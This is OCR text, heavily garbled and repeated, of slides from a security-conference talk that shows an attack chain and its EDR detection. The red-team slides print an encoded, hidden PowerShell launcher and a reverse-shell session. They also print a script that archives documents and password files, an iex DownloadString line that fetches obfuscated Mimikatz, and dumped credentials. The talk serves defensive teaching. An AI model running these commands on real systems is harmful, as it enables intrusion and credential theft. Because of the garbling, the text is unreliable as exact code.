'SQBFAFgAIAAOAE4AZQB3ACOATWB1AGOAZ(QBjAHQAIABTAHKACWBOAGUADQAUAE4AZQBRACAAVWB LAGIAYWBSAGKAZQBUAHQAKQAUAEQAbWB3AGAADABVAGEAZABTAHQACQBPAGY
AZwAOACCcAaABOAHQACABzADOALWAVAHIAY(QB3AC4AZwWBpAHQAGAB1AGIAdQBzAGUACgBjAGBAbgBOAGUADGBOACAAYWBVAGOALWBiAGUACWBpAGBAbWBYAGgAa(QBUAGBALWBWAGS
AdwB LAHIAYwBhAHQALWBtAGEACWBOAGUACgAVAHAAbWB3AGUACgB jAGEAdAAUAHAACWAXACCAKQA7AHAADWB3AGUACgB JAGEAdAAGACOAYWAQADUANAAUADEANQABGACAANQA4ACY

AMOQAYACAALQBWACAAMQAZADMANWAGACOAZQAQAHAADWB3AGUACgBZAGQAZOBSAGWA

Start-Process, powershell

strings

\ Integrity  Medium
a securityhealthsystray.e... Privileges SeChangeNotifyPrivilege
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Delivery and

Execution — Blue Team perspective

@® Primary Process

puppy_photoexe.png

Selected Process

powershe" exe powershell Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentList '-NoProfile','-EncodedCommand’,'SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBjAH
. - J
UAbQAUAE4AZQBOAC4AVWBIAGIAYWBSAGK »\J"Su AHQAKQAUAEQAbwB3AG4AbABVAGEAZABTAHQACgBpAG4AZWAOACCAAABOAHQACA DoAlLw 5] _
A
AVAHIAYQB3AC4 BpAHQAaAB1AGIAdQBzAGUAC g H\ AGS/ \"}H GU "\[’P.\"“ AYWBVAGOALWBIAGU "‘wHDA(ﬂ'F" "F'w\(\""\'l()H IAGBALWBWAGSAdw J,J.-’\.‘Hw‘v!".‘..L‘}"lf'\HQ l

ALWBtAGEAcwWBOAGUAcCgAVAHAAbWB3AGUACgBJAGEAdAAUAHAACWAXACCAKQA7AHAAbWB3AGUACgBJAGEAdAABACOAYWAEADUANAAUADEANQAOACAANQA4ACAAMAQ...

12:40:42 pm Oct 19, 2022

QAIABTAHKACWBOAG

A7

CMD Line

X

’ powershell Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentList '-NoProfile’,-EncodedCommand’,'SQBFAFgAIAACAE4AZQB3ACOATWBIAGOAZQBJAHQAIABTAHKACWBOAGUA

bQAUAE4AZQBOACAAVWBIAGIAYWBSAGKAZQBUAHQAKQAUAEQAbWB3AG4ADABVAGEAZABTAHQACEBpAGAAZWAOACCAaABOAHQACABZADOALWAVAHIAYQB3AC4AAZWBpAHQAAABTAGIAdQBZAGU
AcgBJAGBAbgBOAGUAbgBOAC4AYWBVAGOALWBIAGUAcwWBpAGOAbwBYAGgAaQBUAGBALWBWAGBAdwBIAHIAYWBhAHQALWBIAGEAcWBOAGUACgAVAHAAbWB3AGUACgBJAGEAdAAUAHAACWAXACC
AKQA7AHAAbwWB3AGUACgBJAGEAdAAgACOAYWAEADUANAAUADEANQADAC4ANQASLACAAMQAYACAALQBWACAAMQAZADMANWAEACOAZQABAHAADWB3AGUACgBZAGEAZQBSAGWA'

SQBFAFgGATIAAOCAE4AZQB3ACOATWB1AGOAZQBJAHQAIABTAHKACWBOAGUADQAUAE4AZQBOAC4AVWB LAGIAYWBSAGKAZQBUAHQAKQAUAEQAbWB3AG4AbABVAGEAZABTAHQACGBpAG4AZWAOACCAGABOAHQACABZADOALWAVAHIAY(QB3AC4AZWBpAHQAGABIAGIAdQBZ
BUAGSALWBWAGSAdWBLAHIAYWBhAHQALwWB tAGEACWBOAGUACgAVAHAAbWB 3AGUA( JAGEAdAAUAHAACWAXACCAKQA7AHAAbWB3AGUACgB A( AYWAGADUANAAUAL ‘[ ANQAGAC4ANQA4AC4AMOAYACAALQBWACAAMOAZADMANWAGA( H»"«Z(,’l/\(;/‘u1;’\L\t>;'.f‘ 3AGUACg h

.154 .58.12 p 133 € powers el lg!

Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master

AGOALWB1AGI

Script Insights

Key Indicators (?)

identities
Start-Process, powershell

strings

Formatted PowerShell Script

1 Start-Process powershell -Verb runas -WindowStyle hidden -ArgumentlList '-NoProfile', '-~EncodedCommand’,
'SOBFAFgAIAAOAE4AZQB3ACOATWBiAGOAZQBJAHQATABTAHKACWBOAGUADQAUAE4AZQBOACAAVWB LAGIAYWBSAGKAZQBUAHQAKQAUAEQAbWB3AG4ADABVAGEAZABTAHQACgBpAG4
AZwAOACCAaABOAHQACABzZADOALWAVAHIAY(QB3AC4AAZWBpAHQAAABI1AGIAdQBzAGUACgB]AGEAbgBOAGUADGBOACAAYWBVAGORALWB1AGUACWBpAGOAbWBYAGgAa(QBUAGBALWBWAGS
AdwB LAHIAYwBhAHQALWBtAGEACWBOAGUACgAVAHAADWB3AGUACgB jAGEAdAAUAHAACWAXACCAKQA7AHAADWB3AGUACgBJAGEAdJAAGACOAYWAQADUANAAUADEANQABGACAANQAA4ACY

AMQAYACAALQBWACAAMQAZADMANWAQACOAZQAQAHAADWB3AGUACgBZAGQAZ(OBSAGWA'

\\ Integrity  Medium
B securityhealthsystray.e... Privileges SeChangeNotifyPrivilege
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Credential Access — Red Team perspective

[*] Started reverse TCP handler on 0.0.0.0:1337
[*] Powershell session session 13 opened (10.0.0.6:1337 -> 88.38.197.251:58296) at 2022-10-19 16:37:41 +0000

PS C:\Windows\system32>

PS C:\Windows\system32> $env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.ra
r,*.docx, *.url, *.xlsx, *.pptx, *.ppsx, *.pst, *¥.ost, ¥psw*, ¥pass*, *login*, *admin*, *sifr*,6 *sifer*, *vpn, *.jpg, *.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -Expan
dProperty FullName; Compress-Archive -LiteralPath $files -CompressionlLevel Optimal -DestinationPath $env:APPDATA\working.zip -Force

$env:APPDATA; $files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.0ds,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url, *.xlsx,*.
pptx, *.ppsx,*.pst,*.ost, *psw*, *pass*,*Llogin*, *admin*, *sifr*,6 *sifer*, *vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Comp
ress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath $env:APPDATA\working.zip -Force

C:\Users\admin\AppData\Roaming

PS C:\Windows\system32> cd $env:APPDATA

cd $env:APPDATA

PS C:\Users\admin\AppData\Roaming> 1ls

ls

Directory: C:\Users\admin\AppData\Roaming

LastWriteTime Length Name

4/27/2022
10/18/2022
10/19/2022
10/18/2022
10/18/2022

4/28/2022
10/19/2022
10/19/2022

Microsoft
Mozilla
Skype
Thunderbird
Visual Studio Setup
working
645498 working.zip
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Credential Access — Red Team perspective

[*] Started reverse TCP handler on 0.0.0.0:1337
[*] Powershell session session 13 opened (10.0.0.6:1337 -> 88.38.197.251:58296) at 2022-10-19 16:37:41 +0000

PS C:\Windows\svstem32>

PS C:\Windows\system32> $env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.ra
r,*.docx, *.url, *.xlsx, *.pptx, *.ppsx, *.pst, *¥.ost, ¥psw*, ¥pass*, *login*, *admin*, *sifr*,6 *sifer*, *vpn, *.jpg, *.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -Expan
dProperty FullName; Compress-Archive -LiteralPath $files -CompressionlLevel Optimal -DestinationPath $env:APPDATA\working.zip -Force

$env:APPDATA; $files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls,*.ppt,*.pps,*.wps,*.wpd,*.0ds,*.odt,*.lwp,*.jtd,*.pdf,*.zip,*.rar,*.docx,*.url, *.xlsx,*.
pptx, *.ppsx,*.pst,*.ost, *psw*, *pass*,*Llogin*, *admin*, *sifr*,6 *sifer*, *vpn,*.jpg,*.txt,*.lnk -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Comp
ress-Archive -LiteralPath $files -CompressionLevel Optimal -DestinationPath |$env:APPDATA\working.zip| -Force

C:\users\aamin\Appoata\Roaming

PS C:\Windows\system32> cd $env:APPDATA

cd $env:APPDATA

PS C:\Users\admin\AppData\Roaming> 1ls

ls

Directory: C:\Users\admin\AppData\Roaming

LastWriteTime

4/27/2022
10/18/2022
10/19/2022
10/18/2022
10/18/2022

4/28/2022
10/19/2022
10/19/2022

Microsoft
Mozilla
Skype
Thunderbird
Visual Studio Setup
working
645498 working.zip
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Credential Access — Red Team perspective

PS C:\Users\admin\AppData\Roaming\working> 1s

[*] Started reverse TCP handler on 0.0.0.0:1337 e
[*] Powershell session session 13 opened (10.0.0.6:1337 -> 88.38.197.251:58296) at 2022-10-19 1

Directory: C:\Users\admin\AppData\Roaming\working

PS C:\Windows\svstem32>

PS C:\Windows\system32> $env:APPDATA;$files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*'°%® ScbhJBRARL - AL *.zip,*.ra
r.*.docx, *.url,*.x1lsx, *. pptx, *.ppsx, *.pst, *.0st, *psw*,*pass*, *login¥*, *admin*,*sifr*, *sifer*, *vf 5 ___ 4/27/2022 3:58 PM 43008 #3D2B2892.doc Lect -Expan
dProperty FullName; Compress-Archive -LiteralPath $files -CompressionLevel Optimal -Destinatior----- 4/27/2022 3:58 PM 25600 #6ED9A79E.x1s
$env:APPDATA; $files=ChildItem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xls, *.ppt,*.pps,*.-a---- 4/27/2022  3:58 PM 62535 #DAAOAAFC.pptx TSy n
pptx, *.ppsx, *.pst, *.0st, *psw*, *pass*, *login*, *admin*, *sifr*, *sifer*, *vpn, *.jpg,*.txt,*.lnk Rec dobies jﬁ%gggg gigg Em 22238 igggg‘;ggg-j?g  Name; Comp
Gloome = SAILS
f??? Archlye_ L}tefa1P§§h $f11es CompressionLevel Optimal DestlnatlonPath $env: APPDATA\worklr e 4/27/2622  3:58 PM 6940 $20E43177.ipg
b sdhab R bk Bl G P P AL B L e 4/27/2022 3:58 PM 62535 $38E719B9.pptx
PS C:\WlndOWS\System32> cd $enV.APPDATA -g---- 4/27/2022 3:58 PM 43008 $8DF3E5F2.doc
cd $env:APPDATA e 16/18/2022 12:07 AM 208 Bing.url
PS C:\Users\admin\AppData\Roaming> 1ls -a---- 4/11/2022 1:00 AM 41 commithash.txt
1ls SEEEE 10/18/2022 9:08 AM 89 compress.txt
-a---- 4/27/2022 9:37 AM 494 Desktop.lnk
-a---- 4/27/2022 9:37 AM 939 Downloads.1lnk
) i ) -a---- 10/23/2021 6:24 PM 103952 errordb.txt
Directory: C:\Users\admin\AppData\Roaming e W 2/16/2022 9:17 PM 7490 Eula.txt
-a---- 10/23/2021 6:24 PM 2770 exceptiondb.txt
-a---- 8/15/2021 2:20 AM 35500 license.txt
Mode LastWriteTime Length Name -a---- 4/28/2022 8:23 AM 1262 notepad++ - Shortcut.lnk
___________________ e -a---- 10/23/2021 6:24 PM 109210 ntstatusdb.txt
. -a---- 10/19/2022 1:10 AM 20 passwords.txt
""" 4/27/2022  9:37 AM Adobe a---- 10/18/2022 12:23 AM 252916 PicturesHK Skyline.jpg
10/18/2022  7:26 AM Microsoft ~a---- 7/5/2016  4:53 PM 149664 pspasswd.exe
----- 10/19/2022 8:15 AM Mozilla i 7/5/2016  4:50 PM 168616 pspasswd64.exe
————— 10/18/2022 7:02 AM Skype -a---- 11/6/2007 8:17 AM 39 psversion.txt
_____ 10/18/2022 6:00 AM Thunderbird -8--== 12/7/2011 11:07 AM 7903 readme. txt
_____ 4/28/2022 7:52 AM Visual Studio Setup =Gle e 10/23/2021 6324 PM 32782 winconstants. txt
_____ 10/19/2022 5.52 AM Working -a---- 4/28/2022 8:25 AM 1522 x64dbg - Shortcut.lnk
10/19/2022 9:38 AM 645498 working.zip

38 at passwords.txt

PS C:\Users\admin\AppData\Roaming\working> cat passwords.txt
yPasswordIsVerySaf51

***
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Credential Access — Red Team perspective

PS C:\Users\admin\AppData\Roaming\working> cmd
cmd

Microsoft Windows [Version 10.0.22000.1098]

(c) Microsoft Corporation. All rights reserved.

C:\Users\admin\AppData\Roaming\working>%SystemRoot%\sysnative\WindowsPowerShell\vl.0\powershell.exe
%SystemRoot%\sysnative\WindowsPowerShell\vl.0\powershell.exe

indows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\admin\AppData\Roaming\working> iex (new-object system.net.webclient).Downloadstring('https://raw.githubusercontent.com/HernanRodriguezl/MimikatzFUD/main/Invo
ke-M1lmlfud2.psl') ; Invoke-Mlmlfud
iex (new-object system.net.webclient).Downloadstring('https://raw.githubusercontent.com/HernanRodriguezl/MimikatzFUD/main/Invoke-M1lmlfud2.psl') ; Invoke-M1lmlfud

R mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
N ##. "A La Vie, A L'Amour" - (oe.eo)
## |/ \ ## /***x Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
## \ /| ## > https://blog.gentilkiwi.com/mimikatz
"H#H#E v ## Vincent LE TOUX ( vincent.letoux@gmail.com )
"R > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::logonPasswords full

Authentication Id : 0 ; 4012942 (00000000:003d3b8e)
Session : RemotelInteractive from 3

User Name : admin

Domain : DESKTOP-6V2K2I8

Logon Server : DESKTOP-6V2K21I8

* X 5
* o
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Credential Access — Red Team perspective

PS C:\Users\admin\AppData\Roaming\working> cmd
cmd

Microsoft Windows [Version 10.0.22000.1098]

(c) Microsoft Corporation. All rights reserved.

C:\Users\admin\AppData\Roaming\working>%SystemRoot%\sysnative\WindowsPowerShell\vl.0\powershell.exe
%SystemRoot%\sysnative\WindowsPowerShell\vl.0\powershell.exe

indows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\admin\AppData\Roaming\working> iex (new-object system.net.webclient).Downloadstring('https://raw.githubusercontent.com/HernanRodriguezl/MimikatzFUD/main/Invo
ke-M1lmlfud2.psl') ; Invoke-Mlmlfud
iex (new-object system.net.webclient).Downloadstring('https://raw.githubusercontent.com/HernanRodriguezl/MimikatzFUD/main/Invoke-M1lmlfud2.psl') ; Invoke-M1lmlfud

R mimikatz 2.2.0 (x64) #19041 Aug 10 2021 02:01:23
N ##. "A La Vie, A L'Amour" - (oe.eo)
## |/ \ ## /***x Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
## \ /| ## > https://blog.gentilkiwi.com/mimikatz
"H#H#E v ## Vincent LE TOUX ( vincent.letoux@gmail.com )
"R > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # sekurlsa::logonPasswords full

Authentication Id : 0 ; 4012942 (00000000:003d3b8e)
Session : RemotelInteractive from 3

User Name : admin

Domain : DESKTOP-6V2K2I8

Logon Server : DESKTOP-6V2K21I8

* X 5
* o
Clusit -
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credman :
cloudap :

: 0 ; 4012911 (OO0OOOOOO:003d3b6T)
: RemoteInteractive from 3
: admin
: DESKTOP-6V2K2I8
Logon Server : DESKTOP-6V2K21I8
Logon Time : 10/18/2022 12:06:59 AM
SID : §$-1-5-21-4045837714-3747679371-2441278230-1001
msv :
[00000003] Prlmary
* Username : admin
* Domain : DESKTOP-6V2K2I8
* NTLM : 2b576acbebbcfda7294d6bd18041b8fe
* SHA1 : €30d1c18c56¢c027667d35734660751dc80203354
tspkg
wdigest
* Username : admin
* Domain : DESKTOP-6V2K2I8
* Password : (null)
kerberos
* Username : admin
* Domain : DESKTOP-6V2K2I8
* Password : Passwordl23!
Ssp :
credman :
cloudap :

***
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Credential Access — Blue Team perspective

@® Primary Process Selected Process 11:59:08 am Oct 20, 2022

powershell.exe powershell.exe

AGUACgAV & _

I N — KEFUTATIVUIN (7))

g a consent.exe Cloud (Initial) TRUSTED_WHITE_LIST
11:59:38 am Oct 20, 2022
svchost.exe
= Cloud (Current) TRUSTED_WHITE_LIST
. E notepad.exe 3:00:57 pm Oct 20, 2022
svchost.exe - . PID 6760
E notepad.exe a conhost.exe Starttime  11:48:50 am Oct 20, 2022
svchost.exe Process Access Control (7)

" powershell.exe - = . I powershell.exe Elevated True

High
n a powershell.exe - * 4 cmd.exe -

svchost.exe &

svchost.exe
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SelmpersonatePrivilege

Signed Microsoft Windows

Product Microsoft

svchost.exe

= CA Microsoft Windows

svchost.exe Production PCA 2011

Publisher Microsoft Windows
3 rennrts_3 hits >
FILTERS Clear & Search Guide
—  Type(7)
Searc 2 results
:
P 75 TIME & TYPE EVENT
crossproc 12
11:48:51 am Oct 20, 2022 netconn Established: TCP/443 to 185.199.108.133:443 (raw.githubusercontent.com)
filemod 70
childproc 3 Coarct
AT-A-GLANCE CONNECTION DETAILS Search
fileless_scriptload 3
= Netconn Protocol PROTO_TCP Action ACTION_CONNECTION_CREATE
Local IP 100.70.220.136 Direction Outbound
+ Domain (1)
Local Port 51076 PID 6760
ilemod Remote IP 185.199.108.133 Remote Location null,CA,United States
Remote Port 443
Regmod
Domain raw.githubusercontent.com
Modload Ccommun ty ID '_‘; e79a2b18bcd832fa89ded878858012873cbefd4f
( pre
( | C
11:48:52 am Oct 20, 2022 netconn Established: TCP/1337 to
rA I

** X ®
1Clusit &
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Credential Access — Blue Team perspective

* X 5

<Clusit

Associezione ltaliana
per la Sicurezza Informafice

@® Primary Process Selected Process 11:59:08 am Oct 20, 2022
powershell.exe powershell.exe ‘powershel” &
E svchost.exe
/ a svchost.exe
FILTERS Clear &
\..\
—  Type(7)
21 results
fileless_scriptload 21
‘ modload 74 TIME 4 TVPE EVENE
filemod 18
11:48:53 am Oct 20, 2022 fileless_scriptioad The application contains indirect file activity.
scriptload 14
crossproc 2 11:48:53 am Oct 20, 2022 fileless_scriptload The application contains indirect file activity.
regmod 4,
11:49:04 am Oct 20, 2022 fileless_scriptload The application contains indirect file activity.
D 1a
EllEmad Fileless Script: $env:APPDATA;$files=Childitem -Path $env:USERPROFILE\ -Include *.doc,* .xps,* xls... &
SHA-256:
nod Script Length: 445
PID: 10224
Modload
Crossproc 11:49:08 am Oct 20, 2022 fileless_scriptload The application contains indirect file activity
Chilc C
11:49:09 am Oct 20, 2022 fileless_scriptioad The application contains indirect file activity.
' I
Apblication Proto 11:49:12 am Oct 20, 2022 fileless_scriptioad The application contains indirect file activity.
L Pv4
11:49:17 am Oct 20, 2022 fileless_scriptioad The application contains indirect file activity.
Remote !
= 11:49:17 am Oct 20, 2022 fileless_scriptioad The application contains indirect file activity.
Remote IPve > 11:49:17 am Oct 20, 2022 fileless_scriptlioad The application contains indirect file activity.
Remote
11:49:17 am Oct 20, 2022 fileless_scriptioad The application contains indirect file activity.
n

SECURITY SUMMIT

1 report
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g%
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Microsoft Windows
Production PCA 2011

crosoft Windows

1 hit

Exfiltration

Com pression

hit
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Credential Access — Blue Team perspective

@® Primary Process Selected Process 11:59:08 am Oct 20, 2022 _
powershell.exe powershell.exe ‘powershel” &
1 CA Microsoft Windows
svchost.exe Production PCA 2011
Publisher Microsoft Windows
a svchost.exe 1 report, 1 hit
C AMSI - Exfiltration - Compression 1
" A of Data hit ¥
FILTERS Clear & earch Guide
\..\
—  Type(7)
21 results
fileless_scriptload 21
‘ modload 74 TIME 4 TVPE EVENE
filemod 18
11:48:53 am Oct 20, 2022 fileless_scriptioad The application contains indirect file activity.
scriptload 14
crossproc 2 11:48:53 am Oct 20, 2022 fileless_scriptload The application contains indirect file activity.
regmod 4,
11:49:04 am Oct 20, 2022 fileless_scriptload The application contains indirect file activity.
D 1a
EllEmad Fileless Script: $env:APPDATA;$files=Childitem -Path $env:USERPROFILE\ -Include *.doc,* .xps,* xls... &
SHA-256: h
gmod Script Length: 445
PID: 10224
Modload
o SPro¢ 11:49:08 am Oct 20, 2022 fileless_scriptload The | ' ’ o
Childpre Scriptload Content P-4
> 11:49:09 am Oct 20, 2022 fileless_scriptioad The
' I
Apblication Proto 11:49:12 am Oct 20, 2022 fileless_scriptioad The .
‘P May contain malicious content
: = $env:APPDATA;$files=Childitem -Path $env:USERPROFILE\ -Include *.doc,*.xps,*.xIs,*.ppt,*.pps,*.wps,*.wpd,*.ods,*.odt, *.lwp,*.jtd, *.pdf, *.zip,*.rar,*.docx, *.url, * .xIsx, *.pptx, *.ppsx,*.pst,*.ost,*p
11:49:17am Oct 20,2022 fileless_scriptioad The sw* *pass* *login* *admin* *sifr* *sifer* *vpn,*.Jpg,*.txt,*.Ink -Recurse -ErrorAction SilentlyContinue | Select -ExpandProperty FullName; Compress-Archive -LiteralPath $files -CompressionLev
Remote IPv4 el Optimal -DestinationPath $env:APPDATA\working.zip -Force
. 11:49:17 am Oct 20, 2022 fileless_scriptioad The
Remote IPv( >  11:49:17 am Oct 20, 2022 fileless_scriptioad The
Remote
11:49:17 am Oct 20, 2022 flle!ess_scrlptload The .CI'J}JIILCIUUII LUIIL@InD 11Ul ©LL 1T auuvity.

** X ®
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Credential Access — Blue Team perspective

* X 3

<Clusit

xiazione ltaliana

per la Sicurezza Info

@® Primary Process

powershell.exe

Selected Process 11:59:08 am Oct 20, 2022

ershe

powershell.exe 'r°

11:49:12 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:17 am Oct 20, 2022
11:49:19 am Oct 20, 2022
11:49:19 am Oct 20, 2022
11:49:19 am Oct 20, 2022
11:49:19 am Oct 20, 2022

11:49:21 am Oct 20, 2022

fileless_scriptload

fileless_scriptioad

fileless_scriptload

fileless_scriptload

fileless_scriptload

fileless_scriptload

fileless_scriptload

fileless_scriptioad

fileless_scriptload

fileless_scriptioad

fileless_scriptload

fileless_scriptioad

fileless_scriptload

fileless_scriptload

The application contains indirect file activity.

The application contains indirect file activity

The application contains indirect file activity.

The application contains indirect file activity

The application contains indirect file activity.

The application contains indirect file activity

The application contains indirect file activity.

The application contains indirect file activity

The application contains indirect file activity.

The application contains indirect file activity

The application contains indirect file activity.

The application contains indirect file activity.

The application contains indirect file activity.

The application contains indirect file activity

11:49:27 am Oct 20, 2022

11:49:30 am Oct 2&,2022

Showing 1-21 of 21

Fileless Script: cd working I

SHA-256: 039565 a487e74ebd29e3dfe400
Script Length: 10

PID: 10224

fileless_scriptload

Fileless Script: cat passwords.txt &
SHA-256: €97209122a 1 7
Script Length: 17

PID: 10224

fileless_scriptload

e42a1dc48b5fbf0e220a8108a02c¢1

The application contains indirect file activity.

The application contains indirect file activity.

V|
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Credential Access — Blue Team perspective

* X 5

A

* ®
«Clusi
***

azione Itali

per la Sicurezz

(4

@® Primary Process

powershell.exe

.————E consent.exe
_—a notepad.exe
_a notepad.exe
'\E powershell.exe

— Type(7)

Selected Process 1:59:13 am Oct 20, 2022

powershell.exe C\WindowsisysnativeWinde

a conhost.exe
— =o! powershell.exe
E powershell.exe

FILTERS Clear &

Q

@
— . cmd.exe -

\v1.0\powershell.exe &

fileless_scriptload 9

modload 105

crossproc 23

filemod 9

scriptload 7

regmod 4
Dom

9 results

TIME & TYPE

11:49:44 am Oct 20, 2022 fileless_scriptioad

11:49:44 am Oct 20, 2022 fileless_scriptioad

11:49:44 am Oct 20, 2022 fileless_scriptioad

11:49:45 am Oct 20, 2022 fileless_scriptload

Fileless Script: iex (new-object system.net.webclient).Downloadstring('https://raw.githubusercont... L’“&]
SHA-256: fbea22 26f1d516fd970ead1190f4c 0 3 8

Script Length: 160
PID: 8256

EVENT

The application contains indirect file activity.

The application contains indirect file activity.

The application contains indirect file activity.

The application contains indirect file activity.

3ce2c40dff532 8

11:49:51 am Oct 20, 2022 fileless_scriptioad

11:49:51 am Oct 20, 2022 fileless_scriptioad

11:4Q'81 am Nrt 2N 202D filalace crrintlnad

The application contains indirect file activity.

The application contains indirect file activity.

Tha annliratinn rantaine indirarct fila artivitu

V|
SECURITY SUMMIT

powershell.exe

Cloud (Initial) TRUSTED_WHITE_LIST
12:01:42 pm Oct 20, 2022
Cloud (Current) TRUSTED_WHITE_LIST
3:02:32 pm Oct 20, 2022
PID 8256

Starttime  11:49:39 am Oct 20, 2022

Process Access Control (3)
Elevated True
grity  High

Privileges SeChangeNotifyPrivilege
SeCreateGlobalPrivilege &
SeDebugPrivilege

Signed Microsoft Windows
Product Microsoft

Operating Systen

CA Microsoft Windows
Production PCA 2011

Publisher crosoft Windows

6 reports, 6 hits

$Gcertego




Credential Access — Blue Team perspective

@® Primary Process Selected Process 1:59:13 am Oct 20, 2022

powershe".exe powershe".exe C:\Windows\sysnative\Wind owsPowerShell\v1.0\powershell.exe &

* X 5

<Clusit

1ezione ltaliana
per la Sic

l,,——E consent.exe
__a notepad.exe
_a notepad.exe

a conhost.exe

'\E powershell.exe -

=. ! powershell.exe
@
powershell.exe - * 4 cmd.exe

H powershell.exe

Cloud (Initial) TRUSTED_WHITE_LIST
01:42 pm Oct 20, 2022
Cloud (Current) TRUSTED_WHITE_LIST
3:02:32 pm Oct 20, 2022
PID 8256

Starttime  11:49:39 am Oct 20, 2022

Process Access Control (3)
Elevated True
Integrity  High

Privileges SeChangeNotifyPrivilege
SeCreateGlobalPrivilege &
SeDebugPrivilege

Signed Microsoft Windows
Product Micros

Operatir

CA Microsoft Windows
Production PCA 2011

11:49:44 am Oct 20, 20;

11:49:45 am Oct 20, 20:

Fileless Script: iex (new-object system.net.webclient).Downloadstring('https://raw.githubusercont... L’“&]
SHA-256: fbea225b7fe6 0f4c106ee0ec9ae3ce2c40dff5328705248

Script Length: 160

PID: 8256

11:49:51 am Oct 20, 2022 fileless_scriptload The application contains indirect file activity.

11:49:51 am Oct 20, 2022 fileless_scriptioad

The application contains indirect file activity.

Tha annliratinn rantaine indirarct fila artivitu

11:4Q'81 am Nrt 2N 202D filalace crrintlnad

|

SECURITY SUMMIT

Publisher Microsoft Windows
6 reports, 6 hits
FILTERS Clear &
Q
— Type(?) r
e Scriptload Content X
modioad 105 - b
st o = 11:49:44 am Oct 20, 20!
bl ’ May contain malicious content
“”‘““:d : 11:49:44 am Oct 20, 20 iex (new-object system.net.webclient).Downloadstring('https://raw.githubusercontent.com/HernanRodriguez1/MimikatzFUD/main/Invoke-M1m1fud2.ps1') ; Invoke-M1m1fud
regmo ]
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Certego — PanOptikon Platform
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CVE Alert RESPONSE MODULES

Process monitoring

laaS & SaaS

EL
g

PanOptikon® Security Orchestration Automation & Response Platform
DETECT — VALIDATE - RESPOND

G

CERTEGO
CSIRT

y |

g%
SECUNITY SUMMIT V‘ert98°



==pan0ptikon Dashboard Alerts Tickets Templates Reports Sensors Assets Admin

Monthly Incident Rate O
@ My organization @ Overall @ Same industry
36
27
18
09
0 —_— ;—
SET o1T NOV DIC GEN FEB
Latest opened Tickets

Critical Vulnerability Found in Microsoft Exchange Server - CVE-
2020-0688 -
#KS2JE1ZH

Remote Command Execution su RDP - CVE-2020-0609 e CVE-
2020-0610 _)
#KW21376U

CVE-2019-19781 - Remediation per eventuali Citrix esposti
#WRI45KM9 x4

Show all open tickets (5)

Sensor Metrics

Sensor CPU load

159%

80% |
]\\\ ,.[\
/[

40% o
AN N A AN NN A oA S

0%

1640 1830 2030 2230 0030 0230 0430 0630 0830 1030 1220 1500

Monthly Alert Rate 18
® My organization @ Overall @ Same industry
100
75
50 o
oSET oTT NOV DIC GEN FEB
Incomplete Tasks 9

Critical Vulnerability Found in Microsoft Exchange Server - CVE-
2020-0688 9
Info Gathering: Provide Additional Information

Critical Vulnerability Found in Microsoft Exchange Server - CVE-
2020-0688 -

Info Gathering: Verify Configuration

Critical Vulnerability Found in Microsoft Exchange Server - CVE-
2020-0688 9
Containment: Vulnerability Patch

a:

Senigallia

vem-sensor-002 vem-sensor-003

Vimercate - Palazzo Larice ]

Sensor SPAN port: enp2s0

197 Mbjs
\ /\J\M b
61 Mbjs ; \ ’ n 2 A & a ! ‘
o [ 1AL LA A L |

0bfs

1620 1810 2010 2270 0010 0210 0410 0620 0830 1030 1230 1510

Monthly Efficiency Rate 100% 7
® My organization @ Overall @ Same industry
100%
95.2%
92.7%
902%
SET oTT NOV DIC GEN FEB

Ticket recap

Tickets Tasks
714% o
g

2 40.35%

235

Pending Pending
6h 2h 74 M M.

Sensor SPAN port: enp3s0

1009 Mb/s

53.4 Mbfs m

. Mo
26.7 Mb/s - \ /U/
——— A EUNNN, i

1620 1810 2010 2210 0010 0210 0470 0620 0830 1030 1230 1510
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{}PanOptikon Dashboard Alerts Tickets Sensors Reports ThreatIntel Assets Admin

[EARLY STAGE] Presenza di malware Trickbot su host interno DE-14820 R s _

Un host della rete interna ha installato a bordo un malware noto come Trickbot, appartenente alle categorie degli Infostealer e dei Trojan
Dropper I

& Suggeriamo di proseguire con la lettura del ticket per una descrizione piu accurata di quanto rilevato e per alcune indicazioni su A

containment ed eradication di questa minaccia

Evidences Involved Assets Attachments Raw Events @
30 total 22 s [ Q ] m CONN | PAYLOAD | HTTP | SSL | DNS | CB | WFD
